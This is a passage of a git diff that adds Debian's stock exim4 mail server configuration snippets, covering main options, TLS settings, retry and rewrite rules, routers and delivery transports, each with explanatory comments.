+.endif +host_lookup = MAIN_HOST_LOOKUP +.endif + +# The setting below causes Exim to try to initialize the system resolver +# library with DNSSEC support. It has no effect if your library lacks +# DNSSEC support. +dns_dnssec_ok = 1 + +# In a minimaldns setup, update-exim4.conf guesses the hostname and +# dumps it here to avoid DNS lookups being done at Exim run time. +.ifdef MAIN_HARDCODE_PRIMARY_HOSTNAME +primary_hostname = MAIN_HARDCODE_PRIMARY_HOSTNAME +.endif + +# The settings below cause Exim to make RFC 1413 (ident) callbacks +# for all incoming SMTP calls. You can limit the hosts to which these +# calls are made, and/or change the timeout that is used. If you set +# the timeout to zero, all RFC 1413 calls are disabled. RFC 1413 calls +# are cheap and can provide useful information for tracing problem +# messages, but some hosts and firewalls have problems with them. +# This can result in a timeout instead of an immediate refused +# connection, leading to delays on starting up SMTP sessions. +# (The default was reduced from 30s to 5s for release 4.61. and to +# disabled for release 4.86) +# +#rfc1413_hosts = * +#rfc1413_query_timeout = 5s + + +# Enable an efficiency feature. We advertise the feature; clients +# may request to use it. For multi-recipient mails we then can +# reject or accept per-user after the message is received. +# +prdr_enable = true + +# When using an external relay tester (such as rt.njabl.org and/or the +# currently defunct relay-test.mail-abuse.org, the test may be aborted +# since exim complains about "too many nonmail commands". If you want +# the test to complete, add the host from where "your" relay tester +# connects from to the MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS macro. +# Please note that a non-empty setting may cause extra DNS lookups to +# happen, which is the reason why this option is commented out in the +# default settings. +# MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS = !rt.njabl.org +.ifdef MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS +smtp_accept_max_nonmail_hosts = MAIN_SMTP_ACCEPT_MAX_NOMAIL_HOSTS +.endif + +# By default, exim forces a Sender: header containing the local +# account name at the local host name in all locally submitted messages +# that don't have the local account name at the local host name in the +# From: header, deletes any Sender: header present in the submitted +# message and forces the envelope sender of all locally submitted +# messages to the local account name at the local host name. +# The following settings allow local users to specify their own envelope sender +# in a locally submitted message. Sender: headers existing in a locally +# submitted message are not removed, and no automatic Sender: headers +# are added. These settings are fine for most hosts. +# If you run exim on a classical multi-user systems where all users +# have local mailboxes that can be reached via SMTP from the Internet +# with the local FQDN as the domain part of the address, you might want +# to disable the following three lines for traceability reasons. +.ifndef MAIN_FORCE_SENDER +local_from_check = false +local_sender_retain = true +untrusted_set_sender = * +.endif + + +# By default, Exim expects all envelope addresses to be fully qualified, that +# is, they must contain both a local part and a domain. Configure exim +# to accept unqualified addresses from certain hosts. When this is done, +# unqualified addresses are qualified using the settings of qualify_domain +# and/or qualify_recipient (see above). +# sender_unqualified_hosts = <unset> +# recipient_unqualified_hosts = <unset> + + +# Configure Exim to support the "percent hack" for certain domains. +# The "percent hack" is the feature by which mail addressed to x%y@z +# (where z is one of the domains listed) is locally rerouted to x@y +# and sent on. If z is not one of the "percent hack" domains, x%y is +# treated as an ordinary local part. The percent hack is rarely needed +# nowadays but frequently abused. You should not enable it unless you +# are sure that you really need it. +# percent_hack_domains = <unset> + + +# Bounce handling +.ifndef MAIN_IGNORE_BOUNCE_ERRORS_AFTER +MAIN_IGNORE_BOUNCE_ERRORS_AFTER = 2d +.endif +ignore_bounce_errors_after = MAIN_IGNORE_BOUNCE_ERRORS_AFTER + +.ifndef MAIN_TIMEOUT_FROZEN_AFTER +MAIN_TIMEOUT_FROZEN_AFTER = 7d +.endif +timeout_frozen_after = MAIN_TIMEOUT_FROZEN_AFTER + +.ifndef MAIN_FREEZE_TELL +MAIN_FREEZE_TELL = postmaster +.endif +freeze_tell = MAIN_FREEZE_TELL + + +# Define spool directory +.ifndef SPOOLDIR +SPOOLDIR = /var/spool/exim4 +.endif +spool_directory = SPOOLDIR + + +# trusted users can set envelope-from to arbitrary values +.ifndef MAIN_TRUSTED_USERS +MAIN_TRUSTED_USERS = uucp +.endif +trusted_users = MAIN_TRUSTED_USERS +.ifdef MAIN_TRUSTED_GROUPS +trusted_groups = MAIN_TRUSTED_GROUPS +.endif + + +# users in admin group can do many other things +# admin_groups = <unset> + + +# SMTP Banner. The example includes the Debian version in the SMTP dialog +# MAIN_SMTP_BANNER = "${primary_hostname} ESMTP Exim ${version_number} (Debian package MAIN_PACKAGE_VERSION) ${tod_full}" +# smtp_banner = $smtp_active_hostname ESMTP Exim $version_number $tod_full + +.ifdef MAIN_KEEP_ENVIRONMENT +keep_environment = MAIN_KEEP_ENVIRONMENT +.else +# set option to empty value to avoid warning. +keep_environment = +.endif +.ifdef MAIN_ADD_ENVIRONMENT +add_environment = MAIN_ADD_ENVIRONMENT +.endif diff --git a/debian/debconf/conf.d/main/03_exim4-config_tlsoptions b/debian/debconf/conf.d/main/03_exim4-config_tlsoptions new file mode 100644 index 0000000..86299e1 --- /dev/null +++ b/debian/debconf/conf.d/main/03_exim4-config_tlsoptions @@ -0,0 +1,85 @@ + +### main/03_exim4-config_tlsoptions +################################# + +# TLS/SSL configuration for exim as an SMTP server. +# See /usr/share/doc/exim4-base/README.Debian.gz for explanations. + +.ifdef MAIN_TLS_ENABLE +# Defines what hosts to 'advertise' STARTTLS functionality to. The +# default, *, will advertise to all hosts that connect with EHLO. +.ifndef MAIN_TLS_ADVERTISE_HOSTS +MAIN_TLS_ADVERTISE_HOSTS = * +.endif +tls_advertise_hosts = MAIN_TLS_ADVERTISE_HOSTS + + +# Full paths to Certificate and Private Key. The Private Key file +# must be kept 'secret' and should be owned by root.Debian-exim mode +# 640 (-rw-r-----). exim-gencert takes care of these prerequisites. +# Normally, exim4 looks for certificate and key in different files: +# MAIN_TLS_CERTIFICATE - path to certificate file, +# CONFDIR/exim.crt if unset +# MAIN_TLS_PRIVATEKEY - path to private key file +# CONFDIR/exim.key if unset +# You can also configure exim to look for certificate and key in the +# same file, set MAIN_TLS_CERTKEY to that file to enable. This takes +# precedence over all other settings regarding certificate and key file. +.ifdef MAIN_TLS_CERTKEY +tls_certificate = MAIN_TLS_CERTKEY +.else +.ifndef MAIN_TLS_CERTIFICATE +MAIN_TLS_CERTIFICATE = CONFDIR/exim.crt +.endif +tls_certificate = MAIN_TLS_CERTIFICATE + +.ifndef MAIN_TLS_PRIVATEKEY +MAIN_TLS_PRIVATEKEY = CONFDIR/exim.key +.endif +tls_privatekey = MAIN_TLS_PRIVATEKEY +.endif + +# Pointer to the CA Certificates against which client certificates are +# checked. This is controlled by the `tls_verify_hosts' and +# `tls_try_verify_hosts' lists below. +# If you want to check server certificates, you need to add an +# tls_verify_certificates statement to the smtp transport. +# /etc/ssl/certs/ca-certificates.crt is generated by +# the "ca-certificates" package's update-ca-certificates(8) command. +.ifndef MAIN_TLS_VERIFY_CERTIFICATES +MAIN_TLS_VERIFY_CERTIFICATES = ${if exists{/etc/ssl/certs/ca-certificates.crt}\ + {/etc/ssl/certs/ca-certificates.crt}\ + {/dev/null}} +.endif +tls_verify_certificates = MAIN_TLS_VERIFY_CERTIFICATES + + +# A list of hosts which are constrained by `tls_verify_certificates'. A host +# that matches `tls_verify_host' must present a certificate that is +# verifyable through `tls_verify_certificates' in order to be accepted as an +# SMTP client. If it does not, the connection is aborted. +.ifdef MAIN_TLS_VERIFY_HOSTS +tls_verify_hosts = MAIN_TLS_VERIFY_HOSTS +.endif + +# A weaker form of checking: if a client matches `tls_try_verify_hosts' (but +# not `tls_verify_hosts'), request a certificate and check it against +# `tls_verify_certificates' but do not abort the connection if there is no +# certificate or if the certificate presented does not match. (This +# condition can be tested for in ACLs through `verify = certificate') +# By default, this check is done for all hosts. It is known that some +# clients (including incredimail's version downloadable in February +# 2008) choke on this. To disable, set MAIN_TLS_TRY_VERIFY_HOSTS to an +# empty value. +.ifdef MAIN_TLS_TRY_VERIFY_HOSTS +tls_try_verify_hosts = MAIN_TLS_TRY_VERIFY_HOSTS +.endif + +.ifdef _HAVE_GNUTLS +tls_dhparam = historic +.endif + +.else +# Don't advertise TLS if MAIN_TLS_ENABLE is not set. +tls_advertise_hosts = +.endif diff --git a/debian/debconf/conf.d/main/90_exim4-config_log_selector b/debian/debconf/conf.d/main/90_exim4-config_log_selector new file mode 100644 index 0000000..685c404 --- /dev/null +++ b/debian/debconf/conf.d/main/90_exim4-config_log_selector @@ -0,0 +1,10 @@ + +### main/90_exim4-config_log_selector +################################# + +# uncomment this for debugging +# MAIN_LOG_SELECTOR == MAIN_LOG_SELECTOR +all -subject -arguments + +.ifdef MAIN_LOG_SELECTOR +log_selector = MAIN_LOG_SELECTOR +.endif diff --git a/debian/debconf/conf.d/retry/00_exim4-config_header b/debian/debconf/conf.d/retry/00_exim4-config_header new file mode 100644 index 0000000..e2bb4a4 --- /dev/null +++ b/debian/debconf/conf.d/retry/00_exim4-config_header @@ -0,0 +1,7 @@ + +###################################################################### +# RETRY CONFIGURATION # +###################################################################### + +begin retry + diff --git a/debian/debconf/conf.d/retry/30_exim4-config b/debian/debconf/conf.d/retry/30_exim4-config new file mode 100644 index 0000000..52b002f --- /dev/null +++ b/debian/debconf/conf.d/retry/30_exim4-config @@ -0,0 +1,19 @@ + +### retry/30_exim4-config +################################# + +# This single retry rule applies to all domains and all errors. It specifies +# retries every 15 minutes for 2 hours, then increasing retry intervals, +# starting at 1 hour and increasing each time by a factor of 1.5, up to 16 +# hours, then retries every 6 hours until 4 days have passed since the first +# failed delivery. + +# Please note that these rules only limit the frequency of retries, the +# effective retry-time depends on the frequency of queue-running, too. +# See QUEUEINTERVAL in /etc/default/exim4. + +# Address or Domain Error Retries +# ----------------- ----- ------- + +* * F,2h,15m; G,16h,1h,1.5; F,4d,6h + diff --git a/debian/debconf/conf.d/rewrite/00_exim4-config_header b/debian/debconf/conf.d/rewrite/00_exim4-config_header new file mode 100644 index 0000000..a32db17 --- /dev/null +++ b/debian/debconf/conf.d/rewrite/00_exim4-config_header @@ -0,0 +1,7 @@ + +###################################################################### +# REWRITE CONFIGURATION # +###################################################################### + +begin rewrite + diff --git a/debian/debconf/conf.d/rewrite/31_exim4-config_rewriting b/debian/debconf/conf.d/rewrite/31_exim4-config_rewriting new file mode 100644 index 0000000..b7415b6 --- /dev/null +++ b/debian/debconf/conf.d/rewrite/31_exim4-config_rewriting @@ -0,0 +1,16 @@ + +### rewrite/31_exim4-config_rewriting +################################# + +# This rewriting rule is particularly useful for dialup users who +# don't have their own domain, but could be useful for anyone. +# It looks up the real address of all local users in a file +.ifndef NO_EAA_REWRITE_REWRITE +*@+local_domains "${lookup{${local_part}}lsearch{/etc/email-addresses}\ + {$value}fail}" Ffrs +# identical rewriting rule for /etc/mailname +*@ETC_MAILNAME "${lookup{${local_part}}lsearch{/etc/email-addresses}\ + {$value}fail}" Ffrs +.endif + + diff --git a/debian/debconf/conf.d/router/00_exim4-config_header b/debian/debconf/conf.d/router/00_exim4-config_header new file mode 100644 index 0000000..531e21f --- /dev/null +++ b/debian/debconf/conf.d/router/00_exim4-config_header @@ -0,0 +1,11 @@ + +###################################################################### +# ROUTERS CONFIGURATION # +# Specifies how addresses are handled # +###################################################################### +# THE ORDER IN WHICH THE ROUTERS ARE DEFINED IS IMPORTANT! # +# An address is passed to each router in turn until it is accepted. # +###################################################################### + +begin routers + diff --git a/debian/debconf/conf.d/router/100_exim4-config_domain_literal b/debian/debconf/conf.d/router/100_exim4-config_domain_literal new file mode 100644 index 0000000..d37fea6 --- /dev/null +++ b/debian/debconf/conf.d/router/100_exim4-config_domain_literal @@ -0,0 +1,18 @@ + +### router/100_exim4-config_domain_literal +################################# + +# This router handles e-mail addresses in "domain literal" form like +# <user@[10.11.12.13]>. The RFCs require this facility, but it is disabled +# in the default config since it is rarely used and frequently abused. +# Domain literal support also needs to be enabled in the main config, +# which is automatically done if you use the enable macro +# MAIN_ALLOW_DOMAIN_LITERALS. + +.ifdef MAIN_ALLOW_DOMAIN_LITERALS +domain_literal: + debug_print = "R: domain_literal for $local_part@$domain" + driver = ipliteral + domains = ! +local_domains + transport = remote_smtp +.endif diff --git a/debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts b/debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts new file mode 100644 index 0000000..a0fcb26 --- /dev/null +++ b/debian/debconf/conf.d/router/150_exim4-config_hubbed_hosts @@ -0,0 +1,18 @@ + +# router/150_exim4-config_hubbed_hosts +################################# + +# route specific domains manually. +# +# see exim4-config_files(5) and spec.txt chapter 20.3 through 20.7 for +# more detailed documentation. + +hubbed_hosts: + debug_print = "R: hubbed_hosts for $domain" + driver = manualroute + domains = "${if exists{CONFDIR/hubbed_hosts}\ + {partial-lsearch;CONFDIR/hubbed_hosts}\ + fail}" + same_domain_copy_routing = yes + route_data = ${lookup{$domain}partial-lsearch{CONFDIR/hubbed_hosts}} + transport = remote_smtp diff --git a/debian/debconf/conf.d/router/200_exim4-config_primary b/debian/debconf/conf.d/router/200_exim4-config_primary new file mode 100644 index 0000000..8b03ae7 --- /dev/null +++ b/debian/debconf/conf.d/router/200_exim4-config_primary @@ -0,0 +1,92 @@ + +### router/200_exim4-config_primary +################################# +# This file holds the primary router, responsible for nonlocal mails + +.ifdef DCconfig_internet +# configtype=internet +# +# deliver mail to the recipient if recipient domain is a domain we +# relay for. We do not ignore any target hosts here since delivering to +# a site local or even a link local address might be wanted here, and if +# such an address has found its way into the MX record of such a domain, +# the local admin is probably in a place where that broken MX record +# could be fixed. + +dnslookup_relay_to_domains: + debug_print = "R: dnslookup_relay_to_domains for $local_part@$domain" + driver = dnslookup + domains = ! +local_domains : +relay_to_domains + transport = remote_smtp + same_domain_copy_routing = yes + dnssec_request_domains = * + no_more + +# deliver mail directly to the recipient. This router is only reached +# for domains that we do not relay for. Since we most probably can't +# have broken MX records pointing to site local or link local IP +# addresses fixed, we ignore target hosts pointing to these addresses. + +dnslookup: + debug_print = "R: dnslookup for $local_part@$domain" + driver = dnslookup + domains = ! +local_domains + transport = remote_smtp + same_domain_copy_routing = yes + # ignore private rfc1918 and APIPA addresses + ignore_target_hosts = 0.0.0.0 : 127.0.0.0/8 : 192.168.0.0/16 :\ + 172.16.0.0/12 : 10.0.0.0/8 : 169.254.0.0/16 :\ + 255.255.255.255 + dnssec_request_domains = * + no_more + +.endif + + +.ifdef DCconfig_local +# configtype=local +# +# Stand-alone system, so generate an error for mail to a non-local domain +nonlocal: + debug_print = "R: nonlocal for $local_part@$domain" + driver = redirect + domains = ! +local_domains + allow_fail + data = :fail: Mailing to remote domains not supported + no_more + +.endif + + +.ifdef DCconfig_smarthost DCconfig_satellite +# configtype=smarthost or configtype=satellite +# +# Send all non-local mail to a single other machine (smarthost). +# +# This means _ALL_ non-local mail goes to the smarthost. This will most +# probably not do what you want for domains that are listed in +# relay_domains. The most typical use for relay_domains is to control +# relaying for incoming e-mail on secondary MX hosts. In that case, +# it doesn't make sense to send the mail to the smarthost since the +# smarthost will probably send the message right back here, causing a +# loop. +# +# If you want to use a smarthost while being secondary MX for some +# domains, you'll need to copy the dnslookup_relay_to_domains router +# here so that mail to relay_domains is handled separately. + +smarthost: + debug_print = "R: smarthost for $local_part@$domain" + driver = manualroute + domains = ! +local_domains + transport = remote_smtp_smarthost + route_list = * DCsmarthost byname + host_find_failed = ignore + same_domain_copy_routing = yes + no_more + +.endif + + +# The "no_more" above means that all later routers are for +# domains in the local_domains list, i.e. just like Exim 3 directors. diff --git a/debian/debconf/conf.d/router/300_exim4-config_real_local b/debian/debconf/conf.d/router/300_exim4-config_real_local new file mode 100644 index 0000000..34ea282 --- /dev/null +++ b/debian/debconf/conf.d/router/300_exim4-config_real_local @@ -0,0 +1,22 @@ + +### router/300_exim4-config_real_local +################################# + +# This router allows reaching a local user while avoiding local +# processing. This can be used to inform a user of a broken .forward +# file, for example. The userforward router does this. + +COND_LOCAL_SUBMITTER = "\ + ${if match_ip{$sender_host_address}{:@[]}\ + {1}{0}\ + }" + +real_local: + debug_print = "R: real_local for $local_part@$domain" + driver = accept + domains = +local_domains + condition = COND_LOCAL_SUBMITTER + local_part_prefix = real- + check_local_user + transport = LOCAL_DELIVERY + diff --git a/debian/debconf/conf.d/router/400_exim4-config_system_aliases b/debian/debconf/conf.d/router/400_exim4-config_system_aliases new file mode 100644 index 0000000..f5f5f1c --- /dev/null +++ b/debian/debconf/conf.d/router/400_exim4-config_system_aliases @@ -0,0 +1,44 @@ + +### router/400_exim4-config_system_aliases +################################# + +# This router handles aliasing using a traditional /etc/aliases file. +# +##### NB You must ensure that /etc/aliases exists. It used to be the case +##### NB that every Unix had that file, because it was the Sendmail default. +##### NB These days, there are systems that don't have it. Your aliases +##### NB file should at least contain an alias for "postmaster". +# +# This router handles the local part in a case-insensitive way which +# satisfies the RFCs requirement that postmaster be reachable regardless +# of case. If you decide to handle /etc/aliases in a caseful way, you +# need to make arrangements for a caseless postmaster. +# +# Delivery to arbitrary directories, files, and piping to programs in +# /etc/aliases is disabled per default. +# If that is a problem for you, see +# /usr/share/doc/exim4-base/README.Debian.gz +# for explanation and some workarounds. + +system_aliases: + debug_print = "R: system_aliases for $local_part@$domain" + driver = redirect + domains = +local_domains + allow_fail + allow_defer + data = ${lookup{$local_part}lsearch{/etc/aliases}} + .ifdef SYSTEM_ALIASES_USER + user = SYSTEM_ALIASES_USER + .endif + .ifdef SYSTEM_ALIASES_GROUP + group = SYSTEM_ALIASES_GROUP + .endif + .ifdef SYSTEM_ALIASES_FILE_TRANSPORT + file_transport = SYSTEM_ALIASES_FILE_TRANSPORT + .endif + .ifdef SYSTEM_ALIASES_PIPE_TRANSPORT + pipe_transport = SYSTEM_ALIASES_PIPE_TRANSPORT + .endif + .ifdef SYSTEM_ALIASES_DIRECTORY_TRANSPORT + directory_transport = SYSTEM_ALIASES_DIRECTORY_TRANSPORT + .endif diff --git a/debian/debconf/conf.d/router/500_exim4-config_hubuser b/debian/debconf/conf.d/router/500_exim4-config_hubuser new file mode 100644 index 0000000..1884b21 --- /dev/null +++ b/debian/debconf/conf.d/router/500_exim4-config_hubuser @@ -0,0 +1,31 @@ + +### router/500_exim4-config_hubuser +################################# + +.ifdef DCconfig_satellite +# This router is only used for configtype=satellite. +# It takes care to route all mail targeted to <somelocaluser@this.machine> +# to the host where we read our mail +# +hub_user: + debug_print = "R: hub_user for $local_part@$domain" + driver = redirect + domains = +local_domains + data = ${local_part}@DCreadhost + check_local_user + +# Grab the redirected mail and deliver it. +# This is a duplicate of the smarthost router, needed because +# DCreadhost might end up as part of +local_domains +hub_user_smarthost: + debug_print = "R: hub_user_smarthost for $local_part@$domain" + driver = manualroute + domains = DCreadhost + transport = remote_smtp_smarthost + route_list = * DCsmarthost byname + host_find_failed = ignore + same_domain_copy_routing = yes + check_local_user +.endif + + diff --git a/debian/debconf/conf.d/router/600_exim4-config_userforward b/debian/debconf/conf.d/router/600_exim4-config_userforward new file mode 100644 index 0000000..59259ca --- /dev/null +++ b/debian/debconf/conf.d/router/600_exim4-config_userforward @@ -0,0 +1,51 @@ + +### router/600_exim4-config_userforward +################################# + +# This router handles forwarding using traditional .forward files in users' +# home directories. It also allows mail filtering with a forward file +# starting with the string "# Exim filter" or "# Sieve filter". +# +# The no_verify setting means that this router is skipped when Exim is +# verifying addresses. Similarly, no_expn means that this router is skipped if +# Exim is processing an EXPN command. +# +# The check_ancestor option means that if the forward file generates an +# address that is an ancestor of the current one, the current one gets +# passed on instead. This covers the case where A is aliased to B and B +# has a .forward file pointing to A. +# +# The four transports specified at the end are those that are used when +# forwarding generates a direct delivery to a directory, or a file, or to a +# pipe, or sets up an auto-reply, respectively. +# +userforward: + debug_print = "R: userforward for $local_part@$domain" + driver = redirect + domains = +local_domains + check_local_user + file = $home/.forward + require_files = $local_part:$home/.forward + no_verify + no_expn + check_ancestor + allow_filter + forbid_smtp_code = true + directory_transport = address_directory + file_transport = address_file + pipe_transport = address_pipe + reply_transport = address_reply + skip_syntax_errors + syntax_errors_to = real-$local_part@$domain + syntax_errors_text = \ + This is an automatically generated message. An error has\n\ + been found in your .forward file. Details of the error are\n\ + reported below. While this error persists, you will receive\n\ + a copy of this message for every message that is addressed\n\ + to you. If your .forward file is a filter file, or if it is\n\ + a non-filter file containing no valid forwarding addresses,\n\ + a copy of each incoming message will be put in your normal\n\ + mailbox. If a non-filter file contains at least one valid\n\ + forwarding address, forwarding to the valid addresses will\n\ + happen, and those will be the only deliveries that occur. + diff --git a/debian/debconf/conf.d/router/700_exim4-config_procmail b/debian/debconf/conf.d/router/700_exim4-config_procmail new file mode 100644 index 0000000..8d827c7 --- /dev/null +++ b/debian/debconf/conf.d/router/700_exim4-config_procmail @@ -0,0 +1,15 @@ + +procmail: + debug_print = "R: procmail for $local_part@$domain" + driver = accept + domains = +local_domains + check_local_user + transport = procmail_pipe + # emulate OR with "if exists"-expansion + require_files = ${local_part}:\ + ${if exists{/etc/procmailrc}\ + {/etc/procmailrc}{${home}/.procmailrc}}:\ + +/usr/bin/procmail + no_verify + no_expn + diff --git a/debian/debconf/conf.d/router/800_exim4-config_maildrop b/debian/debconf/conf.d/router/800_exim4-config_maildrop new file mode 100644 index 0000000..0c57fc6 --- /dev/null +++ b/debian/debconf/conf.d/router/800_exim4-config_maildrop @@ -0,0 +1,14 @@ + +### router/800_exim4-config_maildrop +################################# + +maildrop: + debug_print = "R: maildrop for $local_part@$domain" + driver = accept + domains = +local_domains + check_local_user + transport = maildrop_pipe + require_files = ${local_part}:${home}/.mailfilter:+/usr/bin/maildrop + no_verify + no_expn + diff --git a/debian/debconf/conf.d/router/850_exim4-config_lowuid b/debian/debconf/conf.d/router/850_exim4-config_lowuid new file mode 100644 index 0000000..43741c6 --- /dev/null +++ b/debian/debconf/conf.d/router/850_exim4-config_lowuid @@ -0,0 +1,29 @@ + +### router/850_exim4-config_lowuid +################################# + +.ifndef FIRST_USER_ACCOUNT_UID +FIRST_USER_ACCOUNT_UID = 0 +.endif + +.ifndef DEFAULT_SYSTEM_ACCOUNT_ALIAS +DEFAULT_SYSTEM_ACCOUNT_ALIAS = :fail: no mail to system accounts +.endif + +COND_SYSTEM_USER_AND_REMOTE_SUBMITTER = "\ + ${if and{{! match_ip{$sender_host_address}{:@[]}}\ + {<{$local_user_uid}{FIRST_USER_ACCOUNT_UID}}}\ + {1}{0}\ + }" + +lowuid_aliases: + debug_print = "R: lowuid_aliases for $local_part@$domain (UID $local_user_uid)" + check_local_user + driver = redirect + allow_fail + domains = +local_domains + condition = COND_SYSTEM_USER_AND_REMOTE_SUBMITTER + data = ${if exists{CONFDIR/lowuid-aliases}\ + {${lookup{$local_part}lsearch{CONFDIR/lowuid-aliases}\ + {$value}{DEFAULT_SYSTEM_ACCOUNT_ALIAS}}}\ + {DEFAULT_SYSTEM_ACCOUNT_ALIAS}} diff --git a/debian/debconf/conf.d/router/900_exim4-config_local_user b/debian/debconf/conf.d/router/900_exim4-config_local_user new file mode 100644 index 0000000..423c729 --- /dev/null +++ b/debian/debconf/conf.d/router/900_exim4-config_local_user @@ -0,0 +1,15 @@ + +### router/900_exim4-config_local_user +################################# + +# This router matches local user mailboxes. If the router fails, the error +# message is "Unknown user". + +local_user: + debug_print = "R: local_user for $local_part@$domain" + driver = accept + domains = +local_domains + check_local_user + local_parts = ! root + transport = LOCAL_DELIVERY + cannot_route_message = Unknown user diff --git a/debian/debconf/conf.d/router/mmm_mail4root b/debian/debconf/conf.d/router/mmm_mail4root new file mode 100644 index 0000000..88017ba --- /dev/null +++ b/debian/debconf/conf.d/router/mmm_mail4root @@ -0,0 +1,17 @@ + +### router/mmm_mail4root +################################# +# deliver mail addressed to root to /var/mail/mail as user mail:mail +# if it was not redirected in /etc/aliases or by other means +# Exim cannot deliver as root since 4.24 (FIXED_NEVER_USERS) + +mail4root: + debug_print = "R: mail4root for $local_part@$domain" + driver = redirect + domains = +local_domains + data = /var/mail/mail + file_transport = address_file + local_parts = root + user = mail + group = mail + diff --git a/debian/debconf/conf.d/transport/00_exim4-config_header b/debian/debconf/conf.d/transport/00_exim4-config_header new file mode 100644 index 0000000..48e45da --- /dev/null +++ b/debian/debconf/conf.d/transport/00_exim4-config_header @@ -0,0 +1,13 @@ + +###################################################################### +# TRANSPORTS CONFIGURATION # +###################################################################### +# ORDER DOES NOT MATTER # +# Only one appropriate transport is called for each delivery. # +###################################################################### + +# A transport is used only when referenced from a router that successfully +# handles an address. + +begin transports + diff --git a/debian/debconf/conf.d/transport/10_exim4-config_transport-macros b/debian/debconf/conf.d/transport/10_exim4-config_transport-macros new file mode 100644 index 0000000..449fb31 --- /dev/null +++ b/debian/debconf/conf.d/transport/10_exim4-config_transport-macros @@ -0,0 +1,16 @@ + +### transport/10_exim4-config_transport-macros +################################# + +.ifdef HIDE_MAILNAME +REMOTE_SMTP_HEADERS_REWRITE=*@+local_domains $1@DCreadhost frs : *@ETC_MAILNAME $1@DCreadhost frs +REMOTE_SMTP_RETURN_PATH=${if match_domain{$sender_address_domain}{+local_domains}{${sender_address_local_part}@DCreadhost}{${if match_domain{$sender_address_domain}{ETC_MAILNAME}{${sender_address_local_part}@DCreadhost}fail}}} +.endif + +.ifdef REMOTE_SMTP_HELO_FROM_DNS +.ifdef REMOTE_SMTP_HELO_DATA +REMOTE_SMTP_HELO_DATA==${lookup dnsdb {ptr=$sending_ip_address}{$value}{$primary_hostname}} +.else +REMOTE_SMTP_HELO_DATA=${lookup dnsdb {ptr=$sending_ip_address}{$value}{$primary_hostname}} +.endif +.endif diff --git a/debian/debconf/conf.d/transport/30_exim4-config_address_file b/debian/debconf/conf.d/transport/30_exim4-config_address_file new file mode 100644 index 0000000..82b55e2 --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_address_file @@ -0,0 +1,11 @@ + +# This transport is used for handling deliveries directly to files that are +# generated by aliasing or forwarding. +# +address_file: + debug_print = "T: address_file for $local_part@$domain" + driver = appendfile + delivery_date_add + envelope_to_add + return_path_add + diff --git a/debian/debconf/conf.d/transport/30_exim4-config_address_pipe b/debian/debconf/conf.d/transport/30_exim4-config_address_pipe new file mode 100644 index 0000000..c5f1828 --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_address_pipe @@ -0,0 +1,10 @@ + +# This transport is used for handling pipe deliveries generated by +# .forward files. If the commands fails and produces any output on standard +# output or standard error streams, the output is returned to the sender +# of the message as a delivery error. +address_pipe: + debug_print = "T: address_pipe for $local_part@$domain" + driver = pipe + return_fail_output + diff --git a/debian/debconf/conf.d/transport/30_exim4-config_address_reply b/debian/debconf/conf.d/transport/30_exim4-config_address_reply new file mode 100644 index 0000000..b2b8862 --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_address_reply @@ -0,0 +1,8 @@ + +# This transport is used for handling autoreplies generated by the filtering +# option of the userforward router. +# +address_reply: + debug_print = "T: autoreply for $local_part@$domain" + driver = autoreply + diff --git a/debian/debconf/conf.d/transport/30_exim4-config_mail_spool b/debian/debconf/conf.d/transport/30_exim4-config_mail_spool new file mode 100644 index 0000000..21dfae4 --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_mail_spool @@ -0,0 +1,17 @@ + +### transport/30_exim4-config_mail_spool + +# This transport is used for local delivery to user mailboxes in traditional +# BSD mailbox format. +# +mail_spool: + debug_print = "T: appendfile for $local_part@$domain" + driver = appendfile + file = /var/mail/$local_part + delivery_date_add + envelope_to_add + return_path_add + group = mail + mode = 0660 + mode_fail_narrower = false + diff --git a/debian/debconf/conf.d/transport/30_exim4-config_maildir_home b/debian/debconf/conf.d/transport/30_exim4-config_maildir_home new file mode 100644 index 0000000..a872acc --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_maildir_home @@ -0,0 +1,41 @@ + +### transport/30_exim4-config_maildir_home +################################# + +# Use this instead of mail_spool if you want to to deliver to Maildir in +# home-directory - change the definition of LOCAL_DELIVERY +# +maildir_home: + debug_print = "T: maildir_home for $local_part@$domain" + driver = appendfile + .ifdef MAILDIR_HOME_MAILDIR_LOCATION + directory = MAILDIR_HOME_MAILDIR_LOCATION + .else + directory = $home/Maildir + .endif + .ifdef MAILDIR_HOME_CREATE_DIRECTORY + create_directory + .endif + .ifdef MAILDIR_HOME_CREATE_FILE + create_file = MAILDIR_HOME_CREATE_FILE + .endif + delivery_date_add + envelope_to_add + return_path_add + maildir_format + .ifdef MAILDIR_HOME_DIRECTORY_MODE + directory_mode = MAILDIR_HOME_DIRECTORY_MODE + .else + directory_mode = 0700 + .endif + .ifdef MAILDIR_HOME_MODE + mode = MAILDIR_HOME_MODE + .else + mode = 0600 + .endif + mode_fail_narrower = false + # This transport always chdirs to $home before trying to deliver. If + # $home is not accessible, this chdir fails and prevents delivery. + # If you are in a setup where home directories might not be + # accessible, uncomment the current_directory line below. + # current_directory = / diff --git a/debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe b/debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe new file mode 100644 index 0000000..3bd8924 --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_maildrop_pipe @@ -0,0 +1,12 @@ + +maildrop_pipe: + debug_print = "T: maildrop_pipe for $local_part@$domain" + driver = pipe + path = "/bin:/usr/bin:/usr/local/bin" + command = "/usr/bin/maildrop" + message_prefix = + message_suffix = + return_path_add + delivery_date_add + envelope_to_add + diff --git a/debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe b/debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe new file mode 100644 index 0000000..5fb03ff --- /dev/null +++ b/debian/debconf/conf.d/transport/30_exim4-config_procmail_pipe @@ -0,0 +1,10 @@ + +procmail_pipe: + debug_print = "T: procmail_pipe for $local_part@$domain" + driver = pipe + path = "/bin:/usr/bin:/usr/local/bin" + command = "/usr/bin/procmail" + return_path_add + delivery_date_add + envelope_to_add + diff --git 